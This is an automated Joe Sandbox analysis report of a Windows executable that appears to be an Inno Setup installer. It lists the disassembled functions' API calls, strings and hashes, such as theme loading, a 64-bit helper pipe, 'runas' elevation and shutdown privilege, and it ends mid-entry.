Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: FreeVirtual
String ID:
API String ID: 1263568516-0
Opcode ID: c4ef4bc2e753c798f4f219e8f4b24b78eea389d3c77b177ec4b9d52599943b5a
Instruction ID: 2913e94657538f1a306bb7ed27eed344dd43a6c30afdb59308231f58c8b71720
Opcode Fuzzy Hash: c4ef4bc2e753c798f4f219e8f4b24b78eea389d3c77b177ec4b9d52599943b5a
Instruction Fuzzy Hash: FCD0E9B17557045BDF90EE794C81B0237D8BB48701F5084666908DB286E774E8048E58

Uniqueness

Uniqueness Score: -1.00%

Function 00406EB0 Relevance: 1.3, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

CloseHandle.KERNEL32 ref: 00406EB1

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseHandle
String ID:
API String ID: 2962429428-0
Opcode ID: ce9819a0c299784ac39983e171dfc3d0d3373cd0e3bd5e96c40e619c76bc7acf
Instruction ID: 073c3129693101c5e7833b7ffa09eca8aa7a1e81ff9bb2ce6bcaaab03392c7d4
Opcode Fuzzy Hash: ce9819a0c299784ac39983e171dfc3d0d3373cd0e3bd5e96c40e619c76bc7acf
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0044AEEC Relevance: 166.5, APIs: 48, Strings: 47, Instructions: 252libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 0044AE98: GetVersionExA.KERNEL32(00000094), ref: 0044AEB5

LoadLibraryA.KERNEL32(uxtheme.dll,?,0044F009,00492971), ref: 0044AF13
GetProcAddress.KERNEL32(00000000,OpenThemeData), ref: 0044AF2B
GetProcAddress.KERNEL32(00000000,CloseThemeData), ref: 0044AF3D
GetProcAddress.KERNEL32(00000000,DrawThemeBackground), ref: 0044AF4F
GetProcAddress.KERNEL32(00000000,DrawThemeText), ref: 0044AF61
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044AF73
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundContentRect), ref: 0044AF85
GetProcAddress.KERNEL32(00000000,GetThemePartSize), ref: 0044AF97
GetProcAddress.KERNEL32(00000000,GetThemeTextExtent), ref: 0044AFA9
GetProcAddress.KERNEL32(00000000,GetThemeTextMetrics), ref: 0044AFBB
GetProcAddress.KERNEL32(00000000,GetThemeBackgroundRegion), ref: 0044AFCD
GetProcAddress.KERNEL32(00000000,HitTestThemeBackground), ref: 0044AFDF
GetProcAddress.KERNEL32(00000000,DrawThemeEdge), ref: 0044AFF1
GetProcAddress.KERNEL32(00000000,DrawThemeIcon), ref: 0044B003
GetProcAddress.KERNEL32(00000000,IsThemePartDefined), ref: 0044B015
GetProcAddress.KERNEL32(00000000,IsThemeBackgroundPartiallyTransparent), ref: 0044B027
GetProcAddress.KERNEL32(00000000,GetThemeColor), ref: 0044B039
GetProcAddress.KERNEL32(00000000,GetThemeMetric), ref: 0044B04B
GetProcAddress.KERNEL32(00000000,GetThemeString), ref: 0044B05D
GetProcAddress.KERNEL32(00000000,GetThemeBool), ref: 0044B06F
GetProcAddress.KERNEL32(00000000,GetThemeInt), ref: 0044B081
GetProcAddress.KERNEL32(00000000,GetThemeEnumValue), ref: 0044B093
GetProcAddress.KERNEL32(00000000,GetThemePosition), ref: 0044B0A5
GetProcAddress.KERNEL32(00000000,GetThemeFont), ref: 0044B0B7
GetProcAddress.KERNEL32(00000000,GetThemeRect), ref: 0044B0C9
GetProcAddress.KERNEL32(00000000,GetThemeMargins), ref: 0044B0DB
GetProcAddress.KERNEL32(00000000,GetThemeIntList), ref: 0044B0ED
GetProcAddress.KERNEL32(00000000,GetThemePropertyOrigin), ref: 0044B0FF
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 0044B111
GetProcAddress.KERNEL32(00000000,GetThemeFilename), ref: 0044B123
GetProcAddress.KERNEL32(00000000,GetThemeSysColor), ref: 0044B135
GetProcAddress.KERNEL32(00000000,GetThemeSysColorBrush), ref: 0044B147
GetProcAddress.KERNEL32(00000000,GetThemeSysBool), ref: 0044B159
GetProcAddress.KERNEL32(00000000,GetThemeSysSize), ref: 0044B16B
GetProcAddress.KERNEL32(00000000,GetThemeSysFont), ref: 0044B17D
GetProcAddress.KERNEL32(00000000,GetThemeSysString), ref: 0044B18F
GetProcAddress.KERNEL32(00000000,GetThemeSysInt), ref: 0044B1A1
GetProcAddress.KERNEL32(00000000,IsThemeActive), ref: 0044B1B3
GetProcAddress.KERNEL32(00000000,IsAppThemed), ref: 0044B1C5
GetProcAddress.KERNEL32(00000000,GetWindowTheme), ref: 0044B1D7
GetProcAddress.KERNEL32(00000000,EnableThemeDialogTexture), ref: 0044B1E9
GetProcAddress.KERNEL32(00000000,IsThemeDialogTextureEnabled), ref: 0044B1FB
GetProcAddress.KERNEL32(00000000,GetThemeAppProperties), ref: 0044B20D
GetProcAddress.KERNEL32(00000000,SetThemeAppProperties), ref: 0044B21F
GetProcAddress.KERNEL32(00000000,GetCurrentThemeName), ref: 0044B231
GetProcAddress.KERNEL32(00000000,GetThemeDocumentationProperty), ref: 0044B243
GetProcAddress.KERNEL32(00000000,DrawThemeParentBackground), ref: 0044B255
GetProcAddress.KERNEL32(00000000,EnableTheming), ref: 0044B267

Strings

GetThemeTextExtent, xrefs: 0044AFA1
GetThemeFont, xrefs: 0044B0AF
IsAppThemed, xrefs: 0044B1BD
GetCurrentThemeName, xrefs: 0044B229
IsThemeActive, xrefs: 0044B1AB
uxtheme.dll, xrefs: 0044AF0E
GetThemePosition, xrefs: 0044B09D
GetThemeString, xrefs: 0044B055
GetThemeSysBool, xrefs: 0044B151
DrawThemeEdge, xrefs: 0044AFE9
GetWindowTheme, xrefs: 0044B1CF
EnableTheming, xrefs: 0044B25F
DrawThemeText, xrefs: 0044AF59
GetThemeSysInt, xrefs: 0044B199
GetThemeRect, xrefs: 0044B0C1
GetThemeMargins, xrefs: 0044B0D3
GetThemeDocumentationProperty, xrefs: 0044B23B
SetThemeAppProperties, xrefs: 0044B217
DrawThemeIcon, xrefs: 0044AFFB
OpenThemeData, xrefs: 0044AF23
GetThemeMetric, xrefs: 0044B043
IsThemeDialogTextureEnabled, xrefs: 0044B1F3
GetThemeBackgroundRegion, xrefs: 0044AFC5
GetThemePartSize, xrefs: 0044AF8F
GetThemeColor, xrefs: 0044B031
IsThemeBackgroundPartiallyTransparent, xrefs: 0044B01F
DrawThemeParentBackground, xrefs: 0044B24D
GetThemeIntList, xrefs: 0044B0E5
GetThemeSysColorBrush, xrefs: 0044B13F
SetWindowTheme, xrefs: 0044B109
GetThemeBackgroundContentRect, xrefs: 0044AF6B, 0044AF7D
CloseThemeData, xrefs: 0044AF35
GetThemeSysSize, xrefs: 0044B163
GetThemeEnumValue, xrefs: 0044B08B
GetThemeFilename, xrefs: 0044B11B
GetThemeTextMetrics, xrefs: 0044AFB3
IsThemePartDefined, xrefs: 0044B00D
GetThemeSysFont, xrefs: 0044B175
EnableThemeDialogTexture, xrefs: 0044B1E1
HitTestThemeBackground, xrefs: 0044AFD7
GetThemeInt, xrefs: 0044B079
GetThemePropertyOrigin, xrefs: 0044B0F7
GetThemeSysString, xrefs: 0044B187
GetThemeSysColor, xrefs: 0044B12D
GetThemeBool, xrefs: 0044B067
DrawThemeBackground, xrefs: 0044AF47
GetThemeAppProperties, xrefs: 0044B205

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressProc$LibraryLoadVersion
String ID: CloseThemeData$DrawThemeBackground$DrawThemeEdge$DrawThemeIcon$DrawThemeParentBackground$DrawThemeText$EnableThemeDialogTexture$EnableTheming$GetCurrentThemeName$GetThemeAppProperties$GetThemeBackgroundContentRect$GetThemeBackgroundRegion$GetThemeBool$GetThemeColor$GetThemeDocumentationProperty$GetThemeEnumValue$GetThemeFilename$GetThemeFont$GetThemeInt$GetThemeIntList$GetThemeMargins$GetThemeMetric$GetThemePartSize$GetThemePosition$GetThemePropertyOrigin$GetThemeRect$GetThemeString$GetThemeSysBool$GetThemeSysColor$GetThemeSysColorBrush$GetThemeSysFont$GetThemeSysInt$GetThemeSysSize$GetThemeSysString$GetThemeTextExtent$GetThemeTextMetrics$GetWindowTheme$HitTestThemeBackground$IsAppThemed$IsThemeActive$IsThemeBackgroundPartiallyTransparent$IsThemeDialogTextureEnabled$IsThemePartDefined$OpenThemeData$SetThemeAppProperties$SetWindowTheme$uxtheme.dll
API String ID: 1968650500-2910565190
Opcode ID: 5a45ccbf4a1a9fffc540ac45431ca0f32488a1cb66156aa5fb789ea7b16ff6be
Instruction ID: 3769fa21ef169b5859ff7299002385904a822408566faed309fb3dc54f14a28c
Opcode Fuzzy Hash: 5a45ccbf4a1a9fffc540ac45431ca0f32488a1cb66156aa5fb789ea7b16ff6be
Instruction Fuzzy Hash: 3891C2F0A40B50EBEF00EBF5D886E2A32A8EA56B1471445BBB444EF295D77CC8058F5D

Uniqueness

Uniqueness Score: -1.00%

Function 004569D4 Relevance: 40.4, APIs: 11, Strings: 12, Instructions: 186pipeprocessfileCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 00456A3B
QueryPerformanceCounter.KERNEL32(02113858,00000000,00456CCE,?,?,02113858,00000000,?,004573CA,?,02113858,00000000), ref: 00456A44
GetSystemTimeAsFileTime.KERNEL32(02113858,02113858), ref: 00456A4E
GetCurrentProcessId.KERNEL32(?,02113858,00000000,00456CCE,?,?,02113858,00000000,?,004573CA,?,02113858,00000000), ref: 00456A57
CreateNamedPipeA.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000), ref: 00456ACD
GetLastError.KERNEL32(00000000,40080003,00000006,00000001,00002000,00002000,00000000,00000000,?,02113858,02113858), ref: 00456ADB
CreateFileA.KERNEL32(00000000,C0000000,00000000,00493A80,00000003,00000000,00000000,00000000,00456C8A), ref: 00456B23
SetNamedPipeHandleState.KERNEL32(000000FF,00000002,00000000,00000000,00000000,00456C79,?,00000000,C0000000,00000000,00493A80,00000003,00000000,00000000,00000000,00456C8A), ref: 00456B5C

Part of subcall function 0042D7A0: GetSystemDirectoryA.KERNEL32(?,00000104), ref: 0042D7B3

CreateProcessA.KERNEL32(00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 00456C05
CloseHandle.KERNEL32(?,00000000,00000000,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000), ref: 00456C3B
CloseHandle.KERNEL32(000000FF,00456C80,?,00000000,00000000,00000001,0C000000,00000000,00000000,00000044,?,000000FF,00000002,00000000,00000000,00000000), ref: 00456C73

Part of subcall function 00451E20: GetLastError.KERNEL32(00000000,00452891,00000005,00000000,004528C6,?,?,00000000,00494628,00000004,00000000,00000000,00000000,?,004921BD,00000000), ref: 00451E23

Strings

Helper process PID: %u, xrefs: 00456C58
helper %d 0x%x, xrefs: 00456BE4
D, xrefs: 00456B7E
CreateFile, xrefs: 00456B31
Starting 64-bit helper process., xrefs: 00456A09
64-bit helper EXE wasn't extracted, xrefs: 00456A2F
\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x, xrefs: 00456AA3
CreateProcess, xrefs: 00456C0E
Cannot utilize 64-bit features on this version of Windows, xrefs: 00456A1C
i, xrefs: 00456BB8
CreateNamedPipe, xrefs: 00456AEB
SetNamedPipeHandleState, xrefs: 00456B65

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CreateHandle$CloseErrorFileLastNamedPipeProcessSystemTime$CountCounterCurrentDirectoryPerformanceQueryStateTick
String ID: 64-bit helper EXE wasn't extracted$Cannot utilize 64-bit features on this version of Windows$CreateFile$CreateNamedPipe$CreateProcess$D$Helper process PID: %u$SetNamedPipeHandleState$Starting 64-bit helper process.$\\.\pipe\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x$helper %d 0x%x$i
API String ID: 770386003-3271284199
Opcode ID: 5006241aebc6898b4b8c5a0b3d2f1eafd7ba10c83dc686a4641eb2167e0a9961
Instruction ID: 1494ba0c9f092ba5553c36d9802a3eccbba6a72ce31e74165ab773d774e4cee1
Opcode Fuzzy Hash: 5006241aebc6898b4b8c5a0b3d2f1eafd7ba10c83dc686a4641eb2167e0a9961
Instruction Fuzzy Hash: 90714570A003449FDB11DB69CC41B9EBBF8EB09305F5185BAF908FB282D77859488F69

Uniqueness

Uniqueness Score: -1.00%

Function 0045AEE4 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 182libraryloadermemoryCOMMON

Download Yara Rule

APIs

GetVersion.KERNEL32 ref: 0045AEFE
GetModuleHandleA.KERNEL32(advapi32.dll), ref: 0045AF1E
GetProcAddress.KERNEL32(00000000,GetNamedSecurityInfoW), ref: 0045AF2B
GetProcAddress.KERNEL32(00000000,SetNamedSecurityInfoW), ref: 0045AF38
GetProcAddress.KERNEL32(00000000,SetEntriesInAclW), ref: 0045AF46

Part of subcall function 0045ADEC: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00000000,0045AE8B,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 0045AE65

AllocateAndInitializeSid.ADVAPI32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045B139,?,?,00000000), ref: 0045AFFF
GetLastError.KERNEL32(?,?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,0045B139,?,?,00000000), ref: 0045B008

Strings

advapi32.dll, xrefs: 0045AF19
W, xrefs: 0045B016
SetEntriesInAclW, xrefs: 0045AF40
SetNamedSecurityInfoW, xrefs: 0045AF32
GetNamedSecurityInfoW, xrefs: 0045AF25

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressProc$AllocateByteCharErrorHandleInitializeLastModuleMultiVersionWide
String ID: GetNamedSecurityInfoW$SetEntriesInAclW$SetNamedSecurityInfoW$W$advapi32.dll
API String ID: 59345061-4263478283
Opcode ID: 2e1c75f00da70986db0bef7873a233c0400535374564b15abc59da2f2a3f743b
Instruction ID: e1143608cea91b2c9fc6243bba76dd5dc8e0698664409433b5fa99cab1fe32bf
Opcode Fuzzy Hash: 2e1c75f00da70986db0bef7873a233c0400535374564b15abc59da2f2a3f743b
Instruction Fuzzy Hash: 275191B1900608EFDB10DF99C851BAFB7B8EB09751F14806AF915B7381C3389948CFA9

Uniqueness

Uniqueness Score: -1.00%

Function 004734AC Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 77COMMON

Download Yara Rule

APIs

ShellExecuteEx.SHELL32(0000003C), ref: 004734FF
GetLastError.KERNEL32(?,?), ref: 00473508
MsgWaitForMultipleObjects.USER32(00000001,00000000,00000000,000000FF,000000FF), ref: 00473555
GetExitCodeProcess.KERNEL32(00000000,00000000), ref: 00473579
CloseHandle.KERNEL32(00000000,004735AA,00000000,00000000,000000FF,000000FF,00000000,004735A3,?,?,?), ref: 0047359D

Strings

runas, xrefs: 004734D8
<, xrefs: 004734CA
GetExitCodeProcess, xrefs: 00473582
ShellExecuteEx, xrefs: 00473519
ShellExecuteEx returned hProcess=0, xrefs: 00473529
MsgWaitForMultipleObjects, xrefs: 00473562

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: CloseCodeErrorExecuteExitHandleLastMultipleObjectsProcessShellWait
String ID: <$GetExitCodeProcess$MsgWaitForMultipleObjects$ShellExecuteEx$ShellExecuteEx returned hProcess=0$runas
API String ID: 171997614-221126205
Opcode ID: 468cd06050aeac50d7fc6c39a96f1f48007959102f91cd93909f9b3bed5077f9
Instruction ID: 9270c58e3c51a63ec14468394db3a8dd1a523cee094c78596453f11dd74f1eb5
Opcode Fuzzy Hash: 468cd06050aeac50d7fc6c39a96f1f48007959102f91cd93909f9b3bed5077f9
Instruction Fuzzy Hash: F72177B0A00114BEDB11EFA99842BDE76E8EB04309F50847BF508E7382DB7C8B059B5D

Uniqueness

Uniqueness Score: -1.00%

Function 004227CC Relevance: 18.3, APIs: 12, Instructions: 255windowCOMMON

Download Yara Rule

APIs

SendMessageA.USER32(00000000,00000223,00000000,00000000), ref: 00422964
ShowWindow.USER32(00000000,00000003,00000000,00000223,00000000,00000000,00000000,00422B2E), ref: 00422974

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: MessageSendShowWindow
String ID:
API String ID: 1631623395-0
Opcode ID: 922aa224a59eb388fd409ef1a4572993a041e07f03dc34a9f221e61418859b32
Instruction ID: 2ef64a615a047e5f68810d1bba8f9c023c2191b8b92af7ee41424443907fb462
Opcode Fuzzy Hash: 922aa224a59eb388fd409ef1a4572993a041e07f03dc34a9f221e61418859b32
Instruction Fuzzy Hash: F0919271B04214FFD710EBA9DA86F9D77F4AB09304F5100B6F504AB3A2C778AE419B58

Uniqueness

Uniqueness Score: -1.00%

Function 004182F4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 58windowCOMMON

Download Yara Rule

APIs

IsIconic.USER32(?), ref: 00418303
GetWindowPlacement.USER32(?,0000002C), ref: 00418320
GetWindowRect.USER32(?), ref: 0041833C
GetWindowLongA.USER32(?,000000F0), ref: 0041834A
GetWindowLongA.USER32(?,000000F8), ref: 0041835F
ScreenToClient.USER32(00000000), ref: 00418368
ScreenToClient.USER32(00000000,?), ref: 00418373

Strings

,, xrefs: 0041830C

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Window$ClientLongScreen$IconicPlacementRect
String ID: ,
API String ID: 2266315723-3772416878
Opcode ID: e2831b492a02c7fbc1c424da0d3d82ddc563106dbc431b226c0011ccd89e5e33
Instruction ID: 9cf88c6662a8b54f2d940af1896da5675c8924d24fa9a5d7825e36bf04e718ba
Opcode Fuzzy Hash: e2831b492a02c7fbc1c424da0d3d82ddc563106dbc431b226c0011ccd89e5e33
Instruction Fuzzy Hash: 40112B71505201AFDB00DF69C885F9B77E8AF49314F18067EBD58DB286C739D900CB69

Uniqueness

Uniqueness Score: -1.00%

Function 00478334 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 195fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,?,?,?,00000000,004785FA,?,00000000,?,00000000,?,0047873E,00000000,00000000), ref: 00478395
FindNextFileA.KERNEL32(000000FF,?,00000000,004784A5,?,00000000,?,?,?,?,00000000,004785FA,?,00000000,?,00000000), ref: 00478481
FindClose.KERNEL32(000000FF,004784AC,004784A5,?,00000000,?,?,?,?,00000000,004785FA,?,00000000,?,00000000), ref: 0047849F
FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,?,00000000,004785FA,?,00000000,?,00000000,?,0047873E,00000000), ref: 004784F8

Strings

dF, xrefs: 00478374, 0047838C

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: Find$File$First$CloseNext
String ID: dF
API String ID: 2001080981-2048908954
Opcode ID: e3d3b5ea0d471a75f1e892318c37568382ec9ab9af60859860025bbf46b96970
Instruction ID: 1e7589c0754ebee773f1854eaa6e10daa326bf9e4fcfb169a8671094cc7bf5de
Opcode Fuzzy Hash: e3d3b5ea0d471a75f1e892318c37568382ec9ab9af60859860025bbf46b96970
Instruction Fuzzy Hash: 55713F7090020DAFCF11EFA5CC45ADFBBB9EB49304F5084AAE408A7291DB799B45CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00453D4C Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 41shutdownCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000028), ref: 00453D5B
OpenProcessToken.ADVAPI32(00000000,00000028), ref: 00453D61
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,00000028), ref: 00453D7A
AdjustTokenPrivileges.ADVAPI32(?,00000000,00000002,00000000,00000000,00000000), ref: 00453DA1
GetLastError.KERNEL32(?,00000000,00000002,00000000,00000000,00000000), ref: 00453DA6
ExitWindowsEx.USER32(00000002,00000000), ref: 00453DB7

Strings

SeShutdownPrivilege, xrefs: 00453D73

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: ProcessToken$AdjustCurrentErrorExitLastLookupOpenPrivilegePrivilegesValueWindows
String ID: SeShutdownPrivilege
API String ID: 107509674-3733053543
Opcode ID: 97208243a47202ed253c42c48129ddaf64d2c6fbfffe2a3ff53d5c10fd5cf2c8
Instruction ID: d8781a87663673bff4f7e6514a95c709f3d412548914224523031170f5c416b5
Opcode Fuzzy Hash: 97208243a47202ed253c42c48129ddaf64d2c6fbfffe2a3ff53d5c10fd5cf2c8
Instruction Fuzzy Hash: 4EF0687039470675E610AE71CD07F6B21F89B40B8BF50482ABD45EA1C3D6BCD60C4A6E

Uniqueness

Uniqueness Score: -1.00%

Function 0045B4AC Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 34libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(10000000,ISCryptGetVersion), ref: 0045B4B5
GetProcAddress.KERNEL32(10000000,ArcFourInit), ref: 0045B4C5
GetProcAddress.KERNEL32(10000000,ArcFourCrypt), ref: 0045B4D5
ISCryptGetVersion._ISCRYPT(10000000,ArcFourCrypt,10000000,ArcFourInit,10000000,ISCryptGetVersion,?,0047A0C3,00000000,0047A0EC), ref: 0045B4FA

Strings

ISCryptGetVersion, xrefs: 0045B4AF
ArcFourCrypt, xrefs: 0045B4CF
ArcFourInit, xrefs: 0045B4BF

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: AddressProc$CryptVersion
String ID: ArcFourCrypt$ArcFourInit$ISCryptGetVersion
API String ID: 1951258720-508647305
Opcode ID: 066b20a5c1c1bbf827e7ba668025f4c9a0b11cdabd4051e249f6bd47f2c53a5d
Instruction ID: 5c97a33bf6e4b00775a7c8e6a9d5d7120da5cee44da396d260546e37c2af37dc
Opcode Fuzzy Hash: 066b20a5c1c1bbf827e7ba668025f4c9a0b11cdabd4051e249f6bd47f2c53a5d
Instruction Fuzzy Hash: E5F012B150170DEEE758DF76EC85A263695E7EC31EF14803B6405551BEE778044ACA1C

Uniqueness

Uniqueness Score: -1.00%

Function 00491EBC Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 90fileCOMMON

Download Yara Rule

APIs

FindFirstFileA.KERNEL32(00000000,?,00000000,00491FFA,?,?,00000000,00494628,?,00492184,00000000,004921D8,?,?,00000000,00494628), ref: 00491F13
SetFileAttributesA.KERNEL32(00000000,00000010), ref: 00491F96
FindNextFileA.KERNEL32(000000FF,?,00000000,00491FD2,?,00000000,?,00000000,00491FFA,?,?,00000000,00494628,?,00492184,00000000), ref: 00491FAE
FindClose.KERNEL32(000000FF,00491FD9,00491FD2,?,00000000,?,00000000,00491FFA,?,?,00000000,00494628,?,00492184,00000000,004921D8), ref: 00491FCC

Strings

isRS-, xrefs: 00491F33
isRS-???.tmp, xrefs: 00491EFD

Memory Dump Source

Source File: 00000001.00000002.2867707898.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.2867685461.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867770841.0000000000493000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.2867794838.00000000004A4000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_0RWRPBSuDx.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstNext
String ID: isRS-$isRS-???.tmp
API String ID: 134685335-3422211394
Opcode ID: 5f65020aef3fb45fb11887bb1f6e63c6b85ff76842c9e0dedd88080743c31966
Instruction ID: 691f2d73da31f32e7dea4a5c2fc00664967572ef0d2ca01005a435b1a41f50a9
Opcode Fuzzy Hash: 5f65020aef3fb45fb11887bb1f6e63c6b85ff76842c9e0dedd88080743c31966
Instruction Fuzzy Hash: 95318871A0160DAFDF10EF66CC41ADEBBBCDB45304F5084B7A808A32A1D7389E45CE58

Uniqueness

Uniqueness Score: -1.00%

Function 00455448 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 241windownativeCOMMON

Download Yara Rule

APIs

PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 004554C5
PostMessageA.USER32(00000000,00000000,00000000,00000000), ref: 004554EC
SetForegroundWindow.USER32(?), ref: 004554FD
NtdllDefWindowProc_A.USER32(00000000,?,?,?,00000000,004557D7,?,00000000,00455813), ref: 004557C2

Strings

